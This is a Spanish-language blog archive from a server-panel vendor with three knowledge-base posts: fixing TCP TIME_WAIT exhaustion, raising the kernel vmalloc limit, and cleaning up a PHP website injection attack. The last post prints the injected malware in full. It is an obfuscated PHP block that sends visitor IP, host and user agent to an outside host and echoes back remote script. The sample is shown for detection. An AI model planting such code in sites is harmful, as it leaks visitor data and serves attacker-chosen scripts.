Blog

Archive for marzo, 2014

KB: 24032014-001: Gestionando problemas con time wait (no más conexiones TCP)

Índice de claves del artículo

Síntomas

1) Ha recibido una notificación del time_wait_checker 2) o después de una revisión, encuentra que todos los servicios están arriba y funcionando pero no pueden aceptar más conexiones (cuando deberían) o algún servicio no puede conectar a servicios internos como servidores de bases de datos (como MySQL). Al mismo tiempo, si ejecuta el siguiente comando, obtiene más de 30000 entradas:

>> netstat -n | grep TIME_WAIT | wc -l

Otro síntoma es que servidores específicos como squid fallan con el siguiente error:

commBind: Cannot bind socket FD 98 to *:0: (98) Address already in use

Revisiones afectadas

Todas las revisiones pueden sufrir este problema. No es un bug sino un problema de agotamiento de recursos.

Antecedentes

Este problema se dispara porque algún servicio está creando conexiones más rápido de lo que estas son cerradas totalmente para su reutilización. Después de que una conexión TCP es cerrada, se comienza un periodo para recibir paquetes perdidos para esa conexión, de cara a evitar mezclar estos con paquetes para nuevas conexiones creadas en la mismo localización.

Cada vez que una conexión TCP es creada, un puerto local es necesario para el extremo local. Este puerto para el extremo local es tomado del rango de puertos efímeros tal y como se define en:

/proc/sys/net/ipv4/ip_local_port_range

Si este rango es agotado, no se podrán crear más conexiones TCP porque no hay más puertos efímeros (puertos locales) disponibles.

Hay varias maneras de resolver este problema. Las siguientes soluciones se muestran en el orden de recomendación:

  1. Identificar la aplicación que está creando estas conexiones y revisar si hay algún problema.
  2. Si no es posible, incremente el rango de puertos efímeros. Vea la siguiente sección.
  3. Si incrementar el rango de puertos efímeros no soluciona el problema, intente reducir la cantidad de tiempo que una conexión pasada en estado TIME_WAIT. Vea la siguiente sección.
  4. Si esto tampoco resuelve el problema, intente activar la opción de reutilización de conexiones en TIME_WAIT lo que causará que el sistema reutilice puertos en estado TIME_WAIT. Vea la siguiente sección.

Solución

En el caso de que no pueda corregir la aplicación que produce esta cantidad de conexiones en TIME_WAIT, utilice las siguientes opciones proporcionadas por el comprobador time_wait_checker para configurar el sistema de cara a reaccionar mejor a esta situación..

  1. Primero, seleccione la máquina, y luego pulse en acciones (en la parte superior derecha de la vista de máquina):actions
  2. Ahora, pulse sobre “Mostrar comprobadores”:
  3. Ahora, seleccione el comprobar “time_wait_checker” y después pulse sobre:
    configure.
  4. Después de esto, la siguiente ventana se mostrará con varias opciones de gestión para el TIME_WAIT:
    Core-Admin Time-wait's checker options

Ahora use estas opciones disponibles tal y como se ha descrito y en el orden recomendado.

Algunas notas sobre las opciones Tcp time wait reuse and recycle

Una mención especial para la opción Tcp time wait recycle ( /proc/sys/net/ipv4/tcp_tw_recycle ) referente a que esta se considera más agresiva que la opción Tcp time wait reuse  ( /proc/sys/net/ipv4/tcp_tw_reuse ). Ambas opciones pueden causar problemas ya que aplican “simplificaciones” para reducir el “time wait” y el reusado de ciertas estructuras. En el caso de “Tcp time wait recycle”, debido a su naturaleza, puede causar problemas con los dispositivos detrás de un NAT permitiendo conexiones de manera aleatoria (solo un dispositivo será capaz de conectar al servidor con esta opción activada). Como indica la herramienta (“Observe after activation”). Más información sobre “Tcp time wait recycle” y cómo se relaciona con los dispositivos detrás de un NAT en http://troy.yort.com/improve-linux-tcp-tw-recycle-man-page-entry/

En general, ambas opciones no deberían ser usadas si no es necesario.

Soluciones a largo plazo

Las siguientes soluciones no son rápidas y requieren preparación. Pero las puede considerar para evitar el problema a largo plazo.

SOLUCIÓN 1: si es posible, actualice su aplicación para reutilizar las conexiones creadas. Por ejemplo, si esas conexiones son debidas a conexiones internas a la base de datos, en lugar de crear, consultar y cerrar, intente reutilizar la conexión todo lo posible. Esto reducirá enormemente el número de conexiones en estado TIME_WAIT en la mayoría de los casos.

SOLUCIÓN 2: Otra posible solución es usar varias IPs para el mismo servicio y balancearlas a través de DNS (por ejemplo). De esta manera expandirá las posibles combinaciones de localizaciones para TCP que están disponibles, y así, expandirá el número de puertos efímeros que están disponibles. Cada IP disponible y sirviendo el servicio duplicará su rango.

En cualquier caso, la SOLUCIÓN 1 es con mucho mejor que la SOLUCIÓN 2. Es mejor tener un servicio consumiendo menos recursos.

Posted in: KB, Linux Networking

Leave a Comment (0) →

KB: 19032014-001: Solucionando problema de obtención de memoria del kernel

Síntoma

Si al activar el firewall se obtiene el siguiente error:

iptables: Memory allocation problem

O en los logs vemos los siguientes errores:

vmap allocation for size 9146368 failed: use vmalloc= to increase size.

Esto significa que la memoria reservada para el kernel ha llegado a su límite de memoria interna.

Revisiones afectadas

Todas las revisiones de Core-Admin que utilicen un kernel Linux mayor o igual que 2.6.32.

Antecedentes

Lo que tenemos que comprobar es el límite actual. Para ello, ejecutar:

>> cat /proc/meminfo | grep -i vmalloc
VmallocTotal: 124144 kB
VmallocUsed: 5536 kB
VmallocChunk: 1156 kB

En este caso, VmallocTotal nos está diciendo que tenemos unos 128M aproximádamente.

Con este dato sería incrementarlo a 256M o a 384M (que es bastante).

Solución

Para cambiarlo tenemos que pasarle el parámetro al kernel para que cargue este límite en el arranque.

El parámetro en concreto es vmalloc=256M (para esa cantidad de memoria). En función del boot loader que
tengas, sería realizar lo siguiente:

1) LILO: Editar el fichero /etc/lilo.conf para actualizar la declaración append como sigue:

image = /boot/vmlinuz
root = /dev/hda1
append = "vmalloc=256M"

2) GRUB 1.0: editar el fichero /boot/grub/menu.lst en el variable “kopt” añadir la declaración. Un ejemplo sería:

kopt=root=UUID=b530efc1-0b0c-419e-affb-87eb9e18b0dc ro vmalloc=256M

Después, guardar el fichero y recargar toda la configuración. Con debian es:

>> update-grub

3) GRUB 2.0 editar el fichero /etc/default/grub y actualizar la variable GRUB_CMDLINE_LINUX_DEFAULT para incluir la declaración:

GRUB_CMDLINE_LINUX_DEFAULT="quiet vmalloc=384M"

Tras esto, hay que recargar la configuración. Con debian es:

>> update-grub

Posted in: KB

Leave a Comment (0) →

Usando Core-Admin para defenderse del hacking web php+#

Tras una revisión de rutina ha encontrado que varias webs han sido actualizadas introduciendo un código como el siguiente o tal vez un cliente molesto cuya web está siendo bloqueada por el navegador por incluir código sospechoso:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

Estos ataques no suponen un peligro para la máquina si está bien configurada, pero hacen que las webs afectadas ejecuten código remoto de chats o publicidad que hará que google chrome y otros navegadores bloqueen dichas páginas por ejecutar código sospechoso.

Conociendo un poco más este ataque

El problema de este ataque es que actualiza los ficheros originales introduciendo una modificación “quirúrgica” haciendo realmente difícil y molesto volver al estado original.

Una opción es la copia de seguridad, pero con las webs actuales que utilizan todo tipo de caches y ficheros de php-to-string, hacen que no sea sencillo. No es posible simplemente recuperar “encima”. Tiene que regresar a un estado consistente de la última copia. Esto implica eliminar la web actual y recuperar los ficheros de la última copia.

Tras esto no hay que olvidarse de resetear/bloquear todas las contraseñas  y cuentas FTP utilizadas durante el ataque.

Primera línea de defensa: saber cuándo ha sido el ataque

Core-Admin le proporciona este conocimiento según ocurre el ataque. Tras la modificación, el servicio de monitorización de cambios de Core-Admin le informará del “posible ataque Php hash” detectado con una indicación similar a la siguiente:

Core-Admin: detecting php hash attack

Tras recibir esta notificación, tan solo tiene que ejecutar el siguiente comando para detectar el total de ficheros modificados y las cuentas FTP comprometidas. El mismo comando le ayudará a realizar todo este trabajo automáticamente:

>> crad-find-and-fix-phphash-attack.pyc

Tras ejecutar este comando, que solo le informará, puede ejecutar el mismo con las siguientes opciones para que corrija los ficheros y actualice las cuentas FTP:

>> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

¿Cómo ha ocurrido el ataque?

Este ataque en concreto está conectado con una red de equipos que se dedican a realizar las modificaciones junto con un virus/troyano que infecta equipos con clientes FTP conocidos.  Las fases de desarrollo son las siguientes:

  1. Al utilizar clientes FTP conocidos que guardan las contraseñas en lugares predefinidos se inicia la primera parte.
  2. También hay sospechas que el uso de Wifis públicas o redes no protegidas permitiría acceder a esta información mientras se inicia la sesión FTP.
  3. Tras esto, si sus equipos quedan expuestos al virus/troyano que extrae esta información, este último enviará esta información de usuarios y contraseñas a la red de servidores de modificación.
  4. Con esta información, los servidores de modificación (así les llamamos) que finalmente atacan son capaces de entrar por FTP, descargar los ficheros, aplicar las modificaciones, y volver a subir los ficheros ya actualizados.

Notas importantes del ataque

Es importante entender que los servidores de modificación no realizarán el ataque nada más recibir las contraseñas. Esperarán a tener varias contraseñas para el mismo sistema y también retrasarán el ataque para desconectar la infección del equipo con el ataque.

De esta manera, esperan que el usuario habitual no conecte ambos sucesos lo que provoque el análisis de los equipos con antivirus/antitroyanos, cerrando así la fuga de información.

Por otra parte, también esperan a tener varias contraseñas para realizar un ataque más masivo de manera que la confusión del ataque o la magnitud del mismo haga que parte de la infección sobreviva.

¿Cómo puedo prevenirlo?

Hay varias acciones que puede realizar para evitar este tipo de ataques.

  1. Procure no guardar las contraseñas en su gestor FTP. Intente guardarlas en una aplicación de gestión de contraseñas que las guarde cifradas.
  2. Evite usar Wifis y conexiones compartidas (como la de los hoteles) para realizar modificaciones FTP.
  3. Si es posible, tras realizar las modificaciones FTP, pase a modo lectura o desactive la cuenta FTP desde el panel Core-Admin. De esta manera, aunque la contraseña sea conocida, no podrán hacer la modificación.

Posted in: Core-Admin, Core-Admin Web Edition, PHP, Seguridad

Leave a Comment (0) →